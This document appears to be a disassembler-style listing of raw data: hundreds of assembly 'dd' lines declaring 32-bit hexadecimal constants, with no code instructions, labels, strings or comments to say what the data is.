dd 0ED14D30Fh, 0D90EB05Bh, 402B13A8h, 59428D3Fh, 0F4B400A2h
dd 8236F766h, 87004BEEh, 2894C2B0h, 1960F97Dh, 82731CE8h
dd 5BE7E00Eh, 0FD7EEB0Fh, 6019AF53h, 1CE6399Ah, 808125F3h
dd 2F5FA424h, 7C9AC9C1h, 0C83428D4h, 5C90618Ch, 91188F51h
dd 9F063E15h, 7105962h, 7DFD4EBDh, 93E590ADh, 0DF00B592h
dd 0F4463C9h, 4D05A4h, 0AF6DEA33h, 4CEC2B04h, 4EF03AE2h
dd 7786C49h, 5CD487FAh, 0A2574DD0h, 13B0066Eh, 7973C341h
dd 7F54BE00h, 2F4FFB38h, 7E2D0910h, 0E445BFB6h, 976098AEh
dd 60F44EA5h, 91C3B8A3h, 724BD5F6h, 19961822h, 339C00B7h
dd 0E65C4C5Dh, 63669E00h, 9225C5B3h, 0F249500h, 15F37AC7h
dd 9F763A71h, 0D5B33C00h, 11A3BA52h, 304BE100h, 1471F72h
dd 0EB6F0717h, 0E47359ACh, 0FCFB805Bh, 0B5008B51h, 0BD09295Fh
dd 0AA54F1h, 73CB50E8h, 1D36FEE9h, 2B2B109h, 802A80BEh
dd 1CFD9C10h, 40037859h, 0EB6B90C0h, 9A7C9495h, 0B6839F1Ch
dd 3D3E5300h, 0EECA6F0h, 49642DDFh, 9E8043A9h, 7A825F27h
dd 0D81DDD00h, 0DB368E6Fh, 7C20060h, 5530BF9Dh, 0FB00171Fh
dd 0A99A6E6h, 4BB51Eh, 0C10DED9Ah, 8B434F46h, 0CD0006ECh
dd 0E3A690A7h, 0F7A73h, 0F2162B0Bh, 0FC8C77C7h, 56E9ECA8h
dd 630F7977h, 896FB06Ah, 0BD0CC07Ch, 35BA00AAh, 6BE5EA30h
dd 19FCEE1Dh, 0EFB5FB1Fh, 69ED0207h, 0EBCCFDA0h, 0C708003Fh
dd 1A6FE05Dh, 0B800245Ch, 4A03491Bh, 0FA16CDh, 8EE1927Eh
dd 8CBB1E31h, 0E9D1D800h, 0D941BC77h, 45F5C03h, 0AF4FB70Bh
dd 3C98EC00h, 4C0204C9h, 9A7E28CBh, 0B9DCE88Bh, 0F7150094h
dd 254E84C4h, 702DA64h, 6E8F7B3Dh, 9910C0ABh, 4DEE00BEh
dd 0AA38E6E3h, 303EC434h, 2C3F80BCh, 90321649h, 0AFF224B0h
dd 8AA007FCh, 0F5C821BAh, 1043042h, 0BF6D5300h, 0CFA112DBh
dd 8C1600E4h, 30E8CA27h, 1109E384h, 40B4482Ch, 1EB954h
dd 47EFCCBDh, 1781F8D7h, 753A2302h, 80B5CA42h, 83B0508h
dd 0B6D04B7h, 0C060946Bh, 4F781B7Dh, 9C012000h, 2D43D52h
dd 8B2602E1h, 0AFFD91C8h, 2CDF8049h, 1CED0548h, 0E0C01329h
dd 78516A44h, 2E4D9894h, 80049CF0h, 4D0218BEh, 69002DD0h
dd 0AE265CF4h, 0E5BAD76h, 0C15D7D47h, 0BA621300h, 0D50BF434h
dd 52FA8B2h, 0E41EA4C4h, 39AF6080h, 0F602E7h, 1C7810CFh
dd 3ED9E1FDh, 6C0C6FE6h, 884EDC97h, 80BD0BC0h, 0A4034457h
dd 6DA17D58h, 6E0EFCD0h, 0F0BB5A00h, 0D4FD204Bh, 265B00D9h
dd 0B03AB54h, 75609E9Fh, 0BF0E8978h, 447AE5h, 0A3FA62D8h
dd 8F2F8651h, 0AF0F3E00h, 572AC0E9h, 7E4B00CBh, 951A99A4h
dd 9B1CBB42h, 0D5879AB8h, 0A0E03FBFh, 25F70A40h, 0E80006C1h
dd 19DED44Ah, 0DB315D00h, 1536DFA5h, 404D0307h, 13EFFA8Ah
dd 1CEB2800h, 0A9BA015Fh, 51C500FBh, 9EC77EAh, 0FC001265h
dd 0D748FD9Eh, 1B724Ch, 0DCB8E75Dh, 0F5CF45AFh, 0E4FB7076h
dd 0D26EC6Eh, 84BCA072h, 92D64F58h, 6E0034E3h, 14974DCBh
dd 27009438h, 0A298CD52h, 5A75F9Bh, 2AE8DDC9h, 0FCB4C249h
dd 154AC80h, 0D800BABDh, 4365CCB2h, 0B51982h, 0C29C6D9Fh
dd 79E428F7h, 3CAEB001h, 70BB2459h, 0B017E3E4h, 9A80001h
dd 5F2CA1D2h, 6907135Ch, 53C7CB9Bh, 80DC2AB0h, 90F2ABh
dd 1B84E650h, 397DE91Ch, 0CBFCD703h, 0A09AF0E8h, 1EE4FC3h
dd 53E1C82Eh, 648F56FEh, 8A0EC67Ch, 3677CE2h, 0D07D123Bh
dd 2AE127D3h, 39C43443h, 72873E38h, 0A00D9D49h, 5C3A132Ah
dd 82AA3413h, 8C6A220Fh, 3010F0FAh, 6D39A9E1h, 2C905BB4h
dd 2A98721Fh, 0EE243900h, 18B88154h, 2815FC0Bh, 802577E0h
dd 0B770817Bh, 0FBE08954h, 0CF63022Ah, 0F2259D6Ah, 0CE51C080h
dd 304BAD08h, 5C337000h
dd 3B9586BFh, 0A848D670h, 4400E021h, 17CE5303h, 69C1006Bh
dd 0B14E99F5h, 1E01E02Dh, 45347764h, 0B18360A8h, 85FED82Ch
dd 62698900h, 2D13FCF4h, 0CBAC000Ch, 713FF2A9h, 65009D47h
dd 0D2BD169Ah, 22B82Bh, 8C07ACF6h, 15D3BEE3h, 3D547B00h
dd 6BDC6479h, 7E7D00E8h, 0D181CF07h, 4E073F59h, 803E8AEEh
dd 7613BF60h, 0F8BB0102h, 8F72DEDh, 6965C04Dh, 5D0105F8h
dd 2395A8CDh, 0D02C9B77h, 3E4D5500h, 84FEF47Eh, 42FC4B5Bh
dd 8F44D70Eh, 528C2060h, 0E70EBB48h, 7EFCC59Ch, 0DDEF7100h
dd 0FE2B0C7Dh, 0D4310965h, 0C200C0DFh, 5443F7DEh, 0CA58A407h
dd 5ED06147h, 920F10D9h, 8E150BFCh, 108088B1h, 42082C90h
dd 56C88100h, 0F312E85h, 3EAA17E8h, 0D04408Ch, 1876C24Fh
dd 9BED9600h, 61DF1BE1h, 8ED6E9CFh, 0CC60A3B8h, 0A12AF2F6h
dd 33222DF0h, 1C0AD02Ch, 80F40D2Fh, 0F05AECC5h, 0F1002717h
dd 7244D6Ah, 649BB0h, 3C39D509h, 0CDAB8D2Fh, 44095D90h
dd 208F2B3Ah, 0A39CBD30h, 905E073Ch, 9072A983h, 0E14F0A8Bh
dd 0EF282213h, 16664CC0h, 9E2300F0h, 1C7DC7FEh, 809451D3h
dd 2E0C8980h, 1974BDh, 874B9EC4h, 0F3BFA2B9h, 0F9029C01h
dd 55C36B45h, 1565806Eh, 0A37DAE74h, 0C9567500h, 0AFB5A6BEh
dd 0BBC8036Eh, 0E56BCF11h, 27C05BAAh, 8D0018E0h, 0B6DE093Ch
dd 403541h, 0DCC086BAh, 17737E7Fh, 0DF50AD1Ch, 0DD37FD83h
dd 0B64ED93Bh, 0B3FA80F7h, 0E9F50B46h, 0AF8E7052h, 0F4476FC0h
dd 0FF00F238h, 15B20728h, 3D29CF01h, 480BDBAh, 0A99D4505h
dd 440082A2h, 15ECDFD0h, 3AD962h, 29597EF3h, 987767E1h
dd 1420496h, 21FC00B6h, 6438570Ch, 0C7EA002Fh, 0C5C1A36Bh
dd 911D0089h, 95E5CFD5h, 73001CE7h, 2A8DEC87h, 7F97AEAh
dd 9D4DF370h, 1F0F99F1h, 0FE2707C0h, 2F005F99h, 265ADCEBh
dd 94245Eh, 2C4B8578h, 0DD3B9DFFh, 8E8F403Ch, 5E01FAC4h
dd 3A111EC0h, 3BF0678h, 0AA31E9E3h, 0ECF82A5Dh, 33062BC5h
dd 2E80CE14h, 0A4640058h, 0C37BF108h, 46249906h, 6780582Ch
dd 45F7AD62h, 2F150089h, 60D6179Ch, 0F3009B38h, 814ECD2Ch
dd 6951DC7h, 2B17349h, 9200466Dh, 3D0785Eh, 0EEA59Ah, 76F55CACh
dd 0BEBBEAB7h, 8509D094h, 558C489Fh, 6D4A03DCh, 77D49010h
dd 804B2CCh, 1E5A536Eh, 0B71F001Dh, 704C7CD2h, 9D8B9439h
dd 0A5807858h, 693CBCE5h, 8DAEFA10h, 9E9BFE03h, 0D5790042h
dd 1C2F7772h, 4678B9B4h, 91080A50h, 2061E2Fh, 330780h
dd 724A9C5Bh, 2B2CAE00h, 2186FA8Ch, 0A6CC1D52h, 0EF4042A4h
dd 87C091E6h, 0E0A05611h, 0C400E01Fh, 762E783Bh, 3F23FE24h
dd 0C61CF3E1h, 916CC084h, 6BF29DACh, 6976C700h, 574A44B7h
dd 0C07A20h, 0F13C1577h, 9D48CCE5h, 0BFEC1103h, 0E0184550h
dd 2C64BE8Ah, 8060B3A1h, 0D968198h, 4D0C62F1h, 86A392Dh
dd 0F921C0B5h, 0CCC89669h, 0DF47E600h, 0B6C2502Ch, 3811003Bh
dd 6C664D10h, 3D02EC83h, 0B77148B1h, 0A3C88074h, 0A065A438h
dd 82B38510h, 70B8AC23h, 2213E5A1h, 7C5E0020h, 6591C06Eh
dd 3A6C194Dh, 8745082Dh, 6E64F921h, 5BA06B10h, 49D0F91Dh
dd 2A59E271h, 12241013h, 0AFE6E72h, 91244CA1h, 7A571046h
dd 0D9A22809h, 0EF3860C8h, 3D302DB0h, 0EA305916h, 0A2FCA845h
dd 1EB9C06Fh, 31291A03h, 37019001h, 691DB8ADh, 39B9BAF8h
dd 0A7B114B6h, 0EC0B9440h, 4C28C65Fh, 0EE3DC441h, 80BB3D98h
dd 5480F1D1h, 0AAF3E5h, 0D217381Eh, 9FAE9A3Ch, 0E3110400h
dd 10CAFF33h, 0F69B058Ah, 87525759h, 563CB06Ch, 84037E1Fh
dd 1D5347AEh, 2480BCC9h, 12279Ch, 0DF73F9C2h, 0DCF44160h
dd 0D18DD00h, 95F26C5Dh, 903700B3h, 0F0052033h, 290E6103h
dd 20677DB4h, 10AC021Ah, 26120062h, 2BE0E5C9h, 8000436Dh
dd 61784259h, 15E3FFh, 9C03F87Ah, 18ECCF32h, 0AEDA7B00h
dd 0F9DC84A5h, 59805F2h, 808EBE3Eh, 205193FBh, 2200347Eh
dd 0E5BAEC53h, 0ECAE8B8h, 55A32C21h, 2A83C340h, 1500B3D7h
dd 85665A0Eh, 2245D2h, 0FC766234h, 90609A33h, 43A7B501h
dd 18197199h, 0E6FBC30h, 91C36997h, 0E5019360h, 530020B4h
dd 0C79D798Ah, 69A6E04h, 0BF90434Eh, 0FF7A6119h, 53CD0700h
dd 0E9FB7650h, 0F8620782h, 6030C4A5h, 0C732D587h, 0DDED2C2Ch
dd 6D1C9C02h, 6AC2E001h, 5F98C039h, 54B59247h, 0DD841000h
dd 667257FCh, 0F9C3B17h, 3D8A3905h, 0FB858035h, 0D500CE82h
dd 0CF5BF496h, 3B1141h, 9A5D607Bh, 7D3FC894h, 2CB0B400h
dd 160E3372h, 0D25407F2h, 0A17E9C61h, 0F3EA85E6h, 0D940E0A0h
dd 0AEBBDA01h, 21F635A1h, 1FF29080h, 5E1A785Bh, 0B1C43200h
dd 8077ACEh, 41850188h, 2D29FF7Dh, 1D0DE047h, 0C57EF214h
dd 93E600F4h, 0A5DBA260h, 0CB0F06ACh, 59DFEC6Bh, 57A99000h
dd 70083A60h, 2CE00DBh, 23B4543Dh, 3000C031h, 0AB0DF385h
dd 90E1C9DEh, 9870080h, 772BACF4h, 64006AF0h, 0EAAE5EA2h
dd 0CCEF8Dh, 5358BCBAh, 0BD30D466h, 7762391Ch, 0EA77840h
dd 0EAE2CCBh, 58DE9373h, 0E93E2940h, 3C00BF38h, 0AD82B9A9h
dd 0B38AA7h, 0B5488C10h, 0A0874DF7h, 0D3781903h, 0B08B262Dh
dd 39C153D5h, 0C400579Bh, 0E0CD2077h, 0EA0EAD6Ch, 6A4DBD64h
dd 0E0080CFh, 0B7C4BBC7h, 302200C5h, 0D7571EC3h, 0F7009821h
dd 0F3595C06h, 3D3FC02h, 29F2CB11h, 0B8005A95h, 0ADE2F561h
dd 4DDB8Bh, 73C179D0h, 0BCB62207h, 0BA8AA600h, 0CA40692Dh
dd 6E4A0E5Eh, 80FCB18Bh, 0CEC75396h, 4E2E446Ah, 0B3002E18h
dd 94A3034Ch, 606360E4h, 451BC138h, 0EA158E00h, 0BC61F0B5h
dd 33C80132h, 2099E57Ch, 0D08DE93Fh, 0B30029B0h, 0C1927D8Bh
dd 0A0E7B6E8h, 1852B8A8h, 0AA10CF5h, 0B73DD45Fh, 17458126h
dd 0E782EEF2h, 0A5238440h, 865C0057h, 5595838Bh, 8901B13Ch
dd 32265E4Bh, 2ED4B9E9h, 7E42091Bh, 44006323h, 7D04BA8h
dd 0D6341602h, 8325E910h, 906E0BA8h, 90CC6FA7h, 7B550270h
dd 71CA54E7h, 0C60C4040h, 0B1CF2689h, 66C008F9h, 3F830078h
dd 3810B4D6h, 23E0115Ah, 432E5EEEh, 0C5011575h, 0F1E2BD6Ch
dd 40F1856Bh, 1E659070h, 33F2386Ah, 0A17EC1FEh, 21F9D430h
dd 496786h, 12542180h, 0DBF8CD14h, 73C9D904h, 50C5231Bh
dd 0E8C3A007h, 9EF8A9h, 74645092h, 951FBFEEh, 0A48D7500h
dd 823245BCh, 70860028h, 2786BF1h, 88000720h, 22354E74h
dd 3A31C3E1h, 0F6C586h, 0B1125BEBh, 964C5D2Ah, 11438B00h
dd 1FF354C6h, 0AB630169h, 86D6C0CCh, 0A0B8C784h, 670728E0h
dd 0B0FE9AFBh, 0E7AACDE0h, 5BB20027h, 2C03960Ch, 72128AD7h
dd 5A009D69h, 0B6023A54h, 457EECEh, 74DD49D2h, 13F490AFh
dd 0D700F93Ch, 8008197Bh, 83D973h, 7AD42F75h, 0F17FED9Dh
dd 0D2CE9C00h, 10252AC8h, 0B9EB0027h, 0B41F5A8Fh, 0E200C513h
dd 39348171h, 0C03525h, 0D37B73A1h, 0E624CB7Dh, 0FA990300h
dd 76B80FD6h, 0CC0900AAh, 4ABE362h, 5C0EEC25h, 406EF232h
dd 0BD77B81Ch, 0D164008Eh, 0CE0217E8h, 35007C1Ah, 0C1AD1F7Ah
dd 1C33C4CDh, 806CB9EDh, 0A8896812h, 0FA05AF1Bh, 0C13D6650h
dd 21EED681h, 386A11F0h, 620BB6C8h, 59072D95h, 2338ECF6h
dd 8C26D600h, 8FF315CBh, 18ED60ABh, 56CCFC3h, 9D07887Eh
dd 70D33C48h, 0C9E65CE0h, 4D40002Fh, 7A1354E4h, 2B00F52Dh
dd 53F74A6Eh
dd 3C165A57h, 0A00F4F8h, 5DF274D8h, 0B11CA275h, 0B409DD4h
dd 55074440h, 70BC0008h, 145AED8Fh, 0CB0776DEh, 0BE0C73D0h
dd 9BF8F4B0h, 0A59800B3h, 0C066DD9Fh, 3D0316ABh, 5CFD6A70h
dd 86D88890h, 0FA7800FBh, 0F5CEF39Ch, 0D5A0A757h, 7D0E5892h
dd 603A3B9Ah, 0CEBC1B2Dh, 68110075h, 0DCC19E5Bh, 0B700A467h
dd 0A2B199CAh, 17C610Eh, 38EFB4E6h, 0F01B6A82h, 0C103589Bh
dd 63F9047Eh, 2C400911h, 30128A9h, 30ED43E3h, 2660AFE1h
dd 2EFB4C82h, 88E201FFh, 28DC0302h, 0CC16E54Ah, 0F9005D92h
dd 50D2DD80h, 0F39EBh, 31BCACD8h, 4CA53C7h, 94110100h
dd 100D6593h, 5E49131Bh, 5F4100DBh, 0A308D56Fh, 3DA13A00h
dd 2DC29A37h, 1F057F29h, 85B7CCACh, 0C0700B31h, 0EBFBAFA7h
dd 22FE7C70h, 0B57F6100h, 0C2382A13h, 7C19854h, 0D26BD9BEh
dd 0A3B4503Bh, 0FC00D087h, 3120261Bh, 3281A89h, 6D298491h
dd 4BE8ED51h, 5D3E8727h, 0E7BA285Eh, 7D02E071h, 0A8A592AAh
dd 5A6840E6h, 0AC693D27h, 0A4AE1701h, 0EC8CBDD8h, 180EB9E4h
dd 60DB6B2Dh, 122BBA10h, 0C76F0737h, 0F3B51C29h, 90882C19h
dd 4D002560h, 0D8151389h, 2479044Ah, 83987263h, 5D204C61h
dd 0C06B7000h, 0A8CA81D3h, 7ACD0FD2h, 0D187E7CCh, 0C0B5C7B0h
dd 0EBE97EBCh, 0A556090h, 3830B61Ch, 0DABE0040h, 50E1EE10h
dd 6C05A54Eh, 2962C8F9h, 85F8181Fh, 687909CAh, 0B2F14407h
dd 3CDD486Ch, 863FEB26h, 7EA91Fh, 0AC4AD72Fh, 571C3E65h
dd 0F3188019h, 3DA1050h, 864E1C09h, 61291FE2h, 4700A0EDh
dd 0AE280972h, 0A0FE007Ch, 0BBDCC75Ch, 0A802BE67h, 24CAE0EEh
dd 0F94BC02Dh, 0ED4C008Bh, 0AC182C3h, 8D00E739h, 3E872FE0h
dd 90EB18h, 6CDD7E13h, 586BE6FEh, 5D751DF8h, 0D9F85200h
dd 6ECFB926h, 0A95A00D1h, 1CD59855h, 187F895Dh, 0C828DB00h
dd 0E742A713h, 0BCA9007Ah, 2CAB0EC1h, 3AF6A3D5h, 39EDD400h
dd 3CB75568h, 0CD33006Eh, 0E71B258Bh, 0AB00D3DAh, 75697106h
dd 29260D4h, 61E91D8Ah, 0E4837FECh, 10D8DA54h, 0E2517AAEh
dd 0FDB2F0D4h, 9D2EB300h, 0CC722159h, 0E57DEFh, 74F25694h
dd 1EEA04D3h, 5F05F900h, 0C9332EA0h, 0F0510312h, 3465755Eh
dd 6E4B2CC0h, 63E67A0Fh, 97B885A7h, 0CBFBA80h, 1BD20478h
dd 80C147AEh, 5D09C5E0h, 7EEAFC02h, 40CB880Fh, 0E46C87F8h
dd 0EF420EB2h, 803D9F76h, 8FAB12EBh, 7000ED7h, 85AADDFh
dd 38617B4Fh, 0BE5C94F9h, 44FEBB00h, 0C0DF80Eh, 1AD6580Bh
dd 0DF31803Bh, 5C460FF7h, 0BF404DC1h, 4B78004Ah, 0C75E3516h
dd 1F1FE0C9h, 2DF5A68h, 52DE0C9Dh, 0E433B46h, 0D9120010h
dd 815A6D9Dh, 8A005C98h, 0F2EBDDC9h, 93E58Fh, 0E2223731h
dd 0CCDAC745h, 0FDC1AE00h, 3F851ECFh, 37530063h, 709C23Ch
dd 600CDFFh, 0B07D9ED6h, 0EBC714h, 0CC01DB4Ch, 29F65D4Ah
dd 926D1A09h, 0ECAC02E8h, 0AEA08736h, 0B1FE2E80h, 0FFCB07B3h
dd 86ABF5EAh, 0BF243899h, 2500B8F2h, 90A8043Dh, 0F54C00E1h
dd 0D4E0AEA9h, 53005F9Fh, 0DF6B7AFFh, 0C31EE9h, 0A2D2DC3Bh
dd 0F47D7C76h, 276EBC00h, 1662E31Ah, 73F53E96h, 0C659158Fh
dd 1500ACA9h, 0F63E91ADh, 0C7D53D0Ah, 0BA80E816h, 5097E118h
dd 11650002h, 5D55041Dh, 0A7008359h, 0C01E38FBh, 18D17D6Ch
dd 39C71210h, 0F00062DCh, 9B2B190Bh, 8891EEh, 0B0DA84B9h
dd 427A0DCAh, 81A0070Eh, 0F53CA0FBh, 1FDA72Fh, 0FE50BD4Bh
dd 40EBFA27h, 0BA28CA80h, 380025FCh, 8A97D4E9h, 49F934B8h
dd 738F812h, 408CC49Dh, 0C6E70B59h, 9500AAE1h, 0AF034CB2h
dd 779AB0h, 5A90F949h, 0F60E8D8Ch, 40E6AC00h, 2E3FEE5h
dd 9D4800FBh, 0B99CAB3Bh, 0C10017E9h, 4EB645D1h, 7DE7413h
dd 7368BC12h, 48802903h, 42449D95h, 9EE2F01h, 0E5B85C6Bh
dd 0BF23EC50h, 0C8AF1817h, 7BC1A5Ah, 3D025100h, 9C4D5F64h
dd 603200BBh, 2BA863B4h, 9917B22Ch, 4C03E769h, 0B0B7A253h
dd 13275F62h, 40A61576h, 0DC09768h, 854CDCFh, 0A2051CB4h
dd 0BD8205B0h, 0E0329CC2h, 0FD7E58h, 106E460Dh, 11E1413Fh
dd 0DD0012E4h, 0F502BAAEh, 687754h, 186B2688h, 0FDDFCDA8h
dd 0F4E72100h, 608A3D13h, 2C553915h, 796DEF80h, 83A5E285h
dd 0BB288700h, 0E7360A34h, 0D3C10011h, 0FFF4E677h, 43770537h
dd 21F3F900h, 0EDEBD40Ch, 108B04Fh, 3C1EAF5Dh, 6035B6BBh
dd 0DD0CFF90h, 0E13BB131h, 9C92001Fh, 0C91017D4h, 0CC003A4Ah
dd 27B11850h, 5D24F4h, 0F95767F3h, 89A5E32Ah, 0DA007677h
dd 21587778h, 1C87237Dh, 406A7C35h, 69BCFD4Eh, 8B6FA25Dh
dd 0A547BEA0h, 0EF604F2Ah, 0C08ADBE3h, 0FA079F18h, 277088C2h
dd 39527001h, 0FE2B24A6h, 38EC37CCh, 7B609Bh, 67253CA0h
dd 82E8696Ch, 5D00D572h, 0D1F42FD7h, 59C91676h, 220390E4h
dd 3528051h, 349E4000h, 0A48E713h, 0FBB80037h, 19BF6B17h
dd 0CB07AFE0h, 0B2B95377h, 0B3B40751h, 268DF9F4h, 602199h
dd 1D047C0Dh, 10C022ECh, 0B1923723h, 73280CA7h, 0FF297B11h
dd 0BEE84309h, 0B0182031h, 3B387CC5h, 9C981890h, 4F70296Ch
dd 94CE600h, 0C8A5121Eh, 9A1A0084h, 6DF2E860h, 410092A4h
dd 0CA32E927h, 0C856CBh, 5BB22A7Ch, 0FBB317C5h, 9BED9100h
dd 113BCF4Fh, 1938003Eh, 44F37052h, 13002F30h, 0A60CC82Bh
dd 3BEDAE07h, 0CA8115CDh, 2F979C21h, 4B4080B0h, 0A3099A23h
dd 8010DDB5h, 116A15B1h, 5800070Dh, 0FC2CF6A1h, 788FE641h
dd 9CC10090h, 9A3BA708h, 0A6038567h, 3E51AA73h, 8DBAB887h
dd 1714002Ah, 89029AC3h, 38705935h, 0C5FCDB0Fh, 0ADF340EAh
dd 681156h, 9BA848B6h, 0D0B41DCFh, 427B1200h, 4DCC1B71h
dd 8D71ECh, 97C8F28Bh, 0F3DEDDEEh, 0A2984A1Dh, 203DCA02h
dd 8EB0A0C4h, 0CF2F21h, 5B865DCEh, 0FF97249h, 0C5544F00h
dd 622683C7h, 1892EA9Ch, 1ACE1F5Eh, 0B2254AA2h, 62B420A8h
dd 5CC2E8AFh, 0CE032D26h, 5BC7539Eh, 0CFC33FC0h, 0E7F3C73h
dd 516BF04h, 98C7A954h, 6DB2C4D0h, 7E5700EAh, 8B96E7BAh
dd 4A74D5FDh, 89F14300h, 0C15CAA54h, 1AD8177Ah, 12EE00D2h
dd 0E9286670h, 5EE67900h, 4404CD03h, 78B10069h, 94A19C52h
dd 0DC006F01h, 2154F940h, 31145BCh, 83D6BDBFh, 0D188805Fh
dd 0F407758Ch, 63943FE8h, 0CC4E99D0h, 0E5821C88h, 0C514070h
dd 8FB0BBE4h, 0DC500526h, 46924981h, 9C60E01Bh, 0EFB5008Dh
dd 0C13D3847h, 0A704FB43h, 0AB0445F5h, 0D4BD80A2h, 0ED04C872h
dd 7FE1495Ch, 794BE4C0h, 44889466h, 27983253h, 0B4CD41C0h
dd 0E901399h, 343EDA10h, 8B5440E1h, 0CCACEC6Eh, 263F6200h
dd 0BEA91063h, 7CCD188Dh, 0D3C839EDh, 0C9216E0Ch, 0F0197173h
dd 0E0A94199h, 909CA49h, 40CFE1E3h, 12760E9Ch, 913D2696h
dd 40366EBCh, 9DA4718h, 0A274287Ch, 32003F75h, 7B7F70E9h
dd 0A17326h, 5B62AF98h, 94ECAD97h, 4146D3Fh, 228BFDAh
dd 0AB0080A3h, 0CFD73289h, 0E10033BAh, 7A13265Ah, 3CD66A23h
dd 0A29E3A92h, 8811C17Ch, 565C4CE0h, 485C894h, 56A61385h
dd 0BDB4F820h, 9F801DD7h, 9B7B03DAh, 7A0A221h, 4BE031A7h
dd 3900EAFAh, 0F411577h, 16E7CE3Dh, 1E284AD2h, 0CAB20082h
dd 0F7F9F025h, 1C25D890h, 7644A7BEh, 12B06110h, 354A1D51h
dd 0CA948F1Dh, 1E00A7EEh, 97D9DEA4h, 0E25D20C0h, 53D81BF8h
dd 88220BFh, 0F81B97C9h
dd 80D461C6h, 0B218E62Fh, 0FCE9A385h, 156401F6h, 20091A4Eh
dd 82EFF26h, 9D8008C1h, 972C640Eh, 665809ACh, 4B83F23Ch
dd 0CAC0FB03h, 6514FCB7h, 9FA04A63h, 90B66A00h, 0CEF6AEh
dd 3D165D0Dh, 343C7113h, 0BC00B498h, 0AE638135h, 749DA618h
dd 58480FD3h, 8383343Fh, 7EF8BAD5h, 0BD075E35h, 4D614098h
dd 0DDE7EAB1h, 0F3283AF7h, 7ECDA20Ch, 75762111h, 67935B01h
dd 2FFB6813h, 641C088Ch, 8C40DA20h, 83BE00D4h, 0EA3EB644h
dd 1407CD72h, 0EC1135C9h, 63809Ch, 9BB55BDFh, 0F015296Ch
dd 0E5097463h, 0FF203933h, 0C77FB503h, 50EF8919h, 0B069779h
dd 0E113851Eh, 72D01883h, 0C7100011h, 2B1FD268h, 0D30184ECh
dd 0F270AF9Eh, 6048A463h, 2389EC97h, 22113793h, 7E6F3C00h
dd 16F30CD8h, 875E3101h, 6273EF76h, 0FEB79C50h, 0C836009Fh
dd 69DD213Bh, 4200D4BCh, 0A8B53527h, 99084Ch, 1D2DDED9h
dd 6AD2766Bh, 0D789AF00h, 651BC406h, 79511B64h, 6BF3E9F5h
dd 20990FC1h, 307DE33h, 0ED0EABC8h, 88D4C1BFh, 0D8834F3Dh
dd 982F016h, 78E3F003h, 0E0BBFE45h, 0AD3C9AAh, 0F37ACB76h
dd 800F11B4h, 6C89B585h, 0DC458C39h, 5FC86FF9h, 0A54E07DDh
dd 118E782h, 4084F3C7h, 721278ACh, 1A813180h, 383F578Ch
dd 0B0E1E640h, 0FD129A00h, 35C0F34Fh, 6F9CE850h, 0E9202080h
dd 8F0339B0h, 81890A38h, 1CE53B3Ah, 0A852CC52h, 59CB063h
dd 3065F866h, 4321F078h, 0E70180A0h, 74C9CBC6h, 898B3DEh
dd 0A83A214Ah, 2E18A3B8h, 8479AC4Ch, 20240FABh, 61821C50h
dd 4875CDh, 67076D7Dh, 0AFF3CE2Dh, 0FC5C45C5h, 410D39C0h
dd 557269h, 6BE9E6C3h, 357C0537h, 0E31DB601h, 337401DBh
dd 88BD7987h, 609250F2h, 0C50011D1h, 0EBE67BC4h, 2AAC6506h
dd 5B4769Dh, 0F26B239Fh, 78478057h, 94A8193Fh, 9B54A616h
dd 0C001AADCh, 0BF476FAFh, 0F0590AEFh, 0DD22FC03h, 6879C801h
dd 0BA006C6Ah, 8019C691h, 2C1017E9h, 7CC0B7C1h, 6AA4A113h
dd 80089918h, 0CFA3C6E2h, 0A1A505F1h, 0F8043B80h, 5D00271Ah
dd 28531DFBh, 0D0CACE0Ch, 1C9A094h, 3AD4F295h, 47499C25h
dd 0B487C0DCh, 0BD120565h, 5849E278h, 73142140h, 0D4256AFFh
dd 6DC5B817h, 3223502Bh, 82ACCB01h, 0A540502Dh, 194FDADDh
dd 5089FAEAh, 89A1863h, 0BBC6E180h, 3C4048C4h, 38B480A2h
dd 8AF1D600h, 0CE3E98CAh, 3B9C03AAh, 2E6C4770h, 0E0053383h
dd 0A0D892F5h, 0AB3F8001h, 4980C5F4h, 3B4849DEh, 0CF06E941h
dd 0C73C7A96h, 0B14C2428h, 26DF8048h, 0C539504h, 9402E900h
dd 7FAAB591h, 0A0A2061Dh, 51D0D519h, 66766324h, 0CD784318h
dd 8CF0207Ah, 190BECA1h, 109DB5CCh, 0C814596Ch, 6BB182E6h
dd 7B6024B5h, 0BF013BF2h, 700F4A06h, 2834505Ah, 0D1B89161h
dd 15A1847h, 64FF8AE5h, 0F0328498h, 0C23068C6h, 0C8BE584Ch
dd 58F848B6h, 0B4EA6406h, 0DF0161E3h, 0FF7E4178h, 2094E2B2h
dd 0AE00E08Ah, 0CB5F286Bh, 65009F38h, 0DB68920Ah, 14EA0EA0h
dd 907D5190h, 0E0940292h, 70CB6B64h, 0DEDB61E0h, 12C7F303h
dd 0E4860E23h, 14F4A88Ch, 0A8F0CC2Ch, 0CF7A9702h, 0D0844868h
dd 20A84FABh, 0F28125F9h, 0D79D3D13h, 0DADC2080h, 0E43A5141h
dd 450EADE6h, 0F87EEF79h, 136C74B8h, 23E71469h, 0B09382E4h
dd 9791F9D0h, 7798E21Ah, 10206080h, 18D50084h, 416C7F63h
dd 883F5115h, 0E02A2605h, 0E171CD1Fh, 0B433F36Dh, 2F30ADA2h
dd 0E6F81912h, 0E8DD91F2h, 3707669Eh, 946BB2E4h, 0D93967h
dd 131FFB5Ah, 5CF81921h, 487530AEh, 0B004E238h, 50051299h
dd 0FA20A432h, 6F1B10Ah, 4CAA8208h, 0EA1AE891h, 87C97FBEh
dd 18EDB0A4h, 9078A012h, 24253E94h, 84706448h, 1ABF4AAh
dd 0E742676h, 11DC18A6h, 0C2728EA5h, 315F9386h, 8A20174Fh
dd 4CFEDC7Eh, 512E8BF0h, 807135E0h, 90BE5B74h, 7B52C115h
dd 2DE300B4h, 70C6E060h, 0C451F7B2h, 8114F192h, 155DACh
dd 283C5960h, 0E809413h, 708F189Fh, 28264BC0h, 0B8B833ECh
dd 2940E820h, 2284B2EAh, 0BEF838h, 22793874h, 0C9421973h
dd 99D53200h, 0BD33FA7Dh, 0DB6905B2h, 0CE35D45Fh, 0C02888BCh
dd 4B1C51E0h, 951C52FAh, 6D051741h, 88E91CEh, 2DC048C8h
dd 1ADF27Ah, 4986531h, 60EB3C94h, 15203648h, 68781485h
dd 0CB188425h, 58A8914Dh, 10502400h, 1402D07Dh, 0B9F55818h
dd 0ACCCAA0Ah, 3B9D1DF8h, 644850h, 3C93EE7Ah, 0CFC65DF7h
dd 52C06C0Eh, 0B8BE842Bh, 0FC59E090h, 315F000Dh, 74F33282h
